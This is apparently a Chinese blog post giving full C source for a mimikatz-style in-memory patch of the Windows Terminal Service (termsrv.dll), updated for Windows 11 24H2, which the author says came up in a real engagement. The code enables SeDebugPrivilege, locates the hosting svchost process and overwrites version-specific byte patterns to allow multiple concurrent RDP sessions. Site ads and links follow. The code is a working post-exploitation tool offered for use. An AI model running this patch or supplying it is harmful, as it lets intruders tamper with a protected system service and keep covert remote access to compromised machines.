mimikatz termservice patch
前言:实战中碰到了,这边记录下mimikatz termservice patch笔记,支持W11_24H2的机器
#include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <psapi.h> typedef struct _MEMORY_SEARCH { MEMORY_BASIC_INFORMATION mbi; SIZE_T size; } MEMORY_SEARCH, *PMEMORY_SEARCH; typedef struct _PATCH_PATTERN { DWORD Length; BYTE *Pattern; } PATCH_PATTERN, *PPATCH_PATTERN; typedef struct _PATCH_OFFSETS { LONG off0; } PATCH_OFFSETS, *PPATCH_OFFSETS; typedef struct _PATCH_GENERIC { DWORD MinBuildNumber; PATCH_PATTERN Search; PATCH_PATTERN Patch; PATCH_OFFSETS Offsets; } PATCH_GENERIC, *PPATCH_GENERIC; typedef struct _dll_info { int pid; byte * dll_addr; int dll_size; } dll_info; BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; BYTE PTRN_WN81_Query__CDefPolicy[] = {0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; BYTE PTRN_W10_1803_Query__CDefPolicy[] = {0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00, 0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00, 0x3b, 0xdf, 0x0f, 0x84}; BYTE PTRN_W10_1809_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; BYTE PTRN_W11_24H2[] = {0x8B, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x75}; BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; BYTE PATC_WN81_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; BYTE PATC_W10_1803_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9}; BYTE PATC_W10_1809_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; BYTE PATC_W11_23H2[] = {0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90}; BYTE PATC_W11_24H2[] = {0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90, 0xEB}; BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f}; BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90}; PATCH_GENERIC TermSrvMultiRdpReferences[] = { {2600/*Win XP*/, {sizeof(PTRN_WIN5_TestLicence),PTRN_WIN5_TestLicence},{sizeof(PATC_WIN5_TestLicence), PATC_WIN5_TestLicence},{3}}, {6000/*VISTA*/, {sizeof(PTRN_WN60_Query__CDefPolicy), PTRN_WN60_Query__CDefPolicy}, {sizeof(PATC_WN60_Query__CDefPolicy), PATC_WN60_Query__CDefPolicy}, {0}}, {7600/*Win_7*/, {sizeof(PTRN_WN6x_Query__CDefPolicy), PTRN_WN6x_Query__CDefPolicy}, {sizeof(PATC_WN6x_Query__CDefPolicy), PATC_WN6x_Query__CDefPolicy}, {0}}, {9600/*Win8*/, {sizeof(PTRN_WN81_Query__CDefPolicy), PTRN_WN81_Query__CDefPolicy}, {sizeof(PATC_WN81_Query__CDefPolicy), PATC_WN81_Query__CDefPolicy}, {0}}, {17134/*Win_10_1803*/, {sizeof(PTRN_W10_1803_Query__CDefPolicy), PTRN_W10_1803_Query__CDefPolicy}, {sizeof(PATC_W10_1803_Query__CDefPolicy), PATC_W10_1803_Query__CDefPolicy}, {0}}, {17763/*Win_10_1803*/, {sizeof(PTRN_W10_1809_Query__CDefPolicy), PTRN_W10_1809_Query__CDefPolicy}, {sizeof(PATC_W10_1809_Query__CDefPolicy), PATC_W10_1809_Query__CDefPolicy}, {0}}, {22631/*Win_11_23H2*/, {sizeof(PTRN_W11_24H2), PTRN_W11_24H2}, {sizeof(PATC_W11_23H2), PATC_W11_23H2}, {0}}, {26100/*Win_11_24H2*/, {sizeof(PTRN_W11_24H2), PTRN_W11_24H2}, {sizeof(PATC_W11_24H2), PATC_W11_24H2}, {0}}, }; BOOL PatchMemory(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T region_size, BYTE *pattern, SIZE_T patternSize, BYTE *patch, SIZE_T patchSize, LONG offset) { BYTE *buffer = (BYTE *)malloc(region_size); SIZE_T bytesRead; BOOL result = FALSE; // print pattern to search for printf("[*] Pattern to search for: "); for (int i = 0; i < patternSize; i++) { printf("%02x ", pattern[i]); } printf("\r\n"); if (ReadProcessMemory(hProcess, lpBaseAddress, buffer, region_size, &bytesRead) && bytesRead == region_size) { printf("[+] Read %zu bytes from process\n", bytesRead); // write buffer into file C:\temp\buffer.dmp, just for debugging/Checking new offsets /* FILE *f = fopen("C:\\temp\\buffer.dmp", "wb"); if (f) { fwrite(buffer, 1, bytesRead, f); fclose(f); printf("Wrote process memory to C:\\temp\\buffer.dmp\n"); } else { printf("Failed to write process memory to C:\\temp\\buffer.dmp\n"); } */ for (SIZE_T i = 0; i <= region_size - patternSize; i++) { if (memcmp(buffer + i, pattern, patternSize) == 0) { printf("[+] Found pattern in process memory at offset %zu\n", i); DWORD oldProtect; if (VirtualProtectEx(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patchSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("[+] Patched memory permissions\n"); SIZE_T bytesWritten; if (WriteProcessMemory(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patch, patchSize, &bytesWritten) && bytesWritten == patchSize) { printf("[+] Patched process memory\n"); result = TRUE; } VirtualProtectEx(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patchSize, oldProtect, &oldProtect); printf("[+] Restored memory permissions\n"); } break; // Exit the loop after patching } } } free(buffer); return result; } PATCH_GENERIC *GetPatchGenericFromBuild(PATCH_GENERIC *generics, SIZE_T cbGenerics, DWORD buildNumber) { PATCH_GENERIC *bestMatch = NULL; for (SIZE_T i = 0; i < cbGenerics; i++) { if (generics[i].MinBuildNumber <= buildNumber) { if (bestMatch == NULL || generics[i].MinBuildNumber > bestMatch->MinBuildNumber) { bestMatch = &generics[i]; } } } return bestMatch; } dll_info * get_dll_info(char * dll_name, BOOL verbose) { dll_info * dll; dll = malloc(sizeof(dll_info)); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if( hProcessSnap == INVALID_HANDLE_VALUE ) { printf("[-] error CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ...)\n"); return; } PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if(! Process32First(hProcessSnap, &pe32) ) { printf("[-] error Process32First()\n"); return; } do { if(! strcmp("svchost.exe", pe32.szExeFile) ) { if(verbose) printf("%s [%d]\n", pe32.szExeFile, pe32.th32ProcessID); HANDLE hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID ); if( hModuleSnap == INVALID_HANDLE_VALUE ) { printf("[-] error CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, %d)\n", pe32.th32ProcessID); continue; } MODULEENTRY32 me32; me32.dwSize = sizeof(MODULEENTRY32); if(! Module32First(hModuleSnap, &me32) ) { printf("[-] error Module32First()\n"); continue; } do { if(verbose) printf(" [0x%08x]\t%s (%d B)\n", me32.modBaseAddr, me32.szModule, me32.modBaseSize); if(! strcmp( dll_name, me32.szModule ) ) { dll->pid = pe32.th32ProcessID; dll->dll_addr = me32.modBaseAddr; dll->dll_size = me32.modBaseSize; CloseHandle(hModuleSnap); return dll; } } while( Module32Next(hModuleSnap, &me32) ); CloseHandle(hModuleSnap); } } while( Process32Next(hProcessSnap, &pe32) ); return 0; } typedef LONG (WINAPI *RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); int GetWindowsBuildNumber() { HMODULE hMod = GetModuleHandleW(L"ntdll.dll"); if (hMod) { RtlGetVersionPtr pRtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion"); if (pRtlGetVersion) { RTL_OSVERSIONINFOW rovi = {0}; rovi.dwOSVersionInfoSize = sizeof(rovi); if (pRtlGetVersion(&rovi) == 0) { return rovi.dwBuildNumber; } } } return -1; // Return -1 if retrieval fails } BOOL PatchTermService(PATCH_GENERIC *generics, SIZE_T cbGenerics, PCWSTR moduleName) { BOOL result = FALSE; DWORD buildNumber = GetWindowsBuildNumber(); // Example build number, replace with actual build number retrieval printf("[*] Windows build number: %lu\n", buildNumber); PATCH_GENERIC *currentReferences = GetPatchGenericFromBuild(generics, cbGenerics, buildNumber); if (currentReferences) { printf("[*] Found patch references for build number %lu\n", buildNumber); SERVICE_STATUS_PROCESS serviceStatusProcess; dll_info * termsrv = get_dll_info( "termsrv.dll", FALSE ); DWORD processId = termsrv->pid; printf("[+] Found TermService with PID %lu\n", processId); HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId); if (hProcess) { printf("[+] Opened process with PID %lu\n", processId); LPVOID baseAddress = termsrv->dll_addr; SIZE_T imageSize = termsrv->dll_size; printf("[*] Module base address: %p, size: %zu\n", baseAddress, imageSize); MEMORY_BASIC_INFORMATION mbi; for (LPBYTE address = (LPBYTE)baseAddress; address < (LPBYTE)baseAddress + imageSize; address += mbi.RegionSize) { if (VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)) == sizeof(mbi)) { if (mbi.State == MEM_COMMIT && (mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_EXECUTE_READWRITE)) { printf("[*] Checking memory region at address %p, size: %zu\n", address, mbi.RegionSize); if (PatchMemory(hProcess, address,mbi.RegionSize, currentReferences->Search.Pattern, currentReferences->Search.Length, currentReferences->Patch.Pattern, currentReferences->Patch.Length, currentReferences->Offsets.off0)) { printf("[+] \"%ls\" service patched at address %p\n", moduleName, address); result = TRUE; break; } } } else { printf("[-] VirtualQueryEx failed at address %p with error %lu\n", address, GetLastError()); } } CloseHandle(hProcess); } else { printf("OpenProcess failed with error %lu\n", GetLastError()); } } else { printf("No patch references found for build number %lu\n", buildNumber); } return result; } void get_privileges() { HANDLE hProcessToken; LUID luid; TOKEN_PRIVILEGES priv; OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcessToken); LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid); priv.PrivilegeCount = 1; priv.Privileges[0].Luid = luid; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges( hProcessToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0 ); } // main function int main() { get_privileges(); if (!PatchTermService(TermSrvMultiRdpReferences, ARRAYSIZE(TermSrvMultiRdpReferences), L"termsrv.dll")) { printf("[-] Failed to patch service\n"); } return 0; }
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2020-02-09 ICMP协议
2020-02-09 实现:ARP探测存活主机
2020-02-09 学习:ARP协议/数据包分析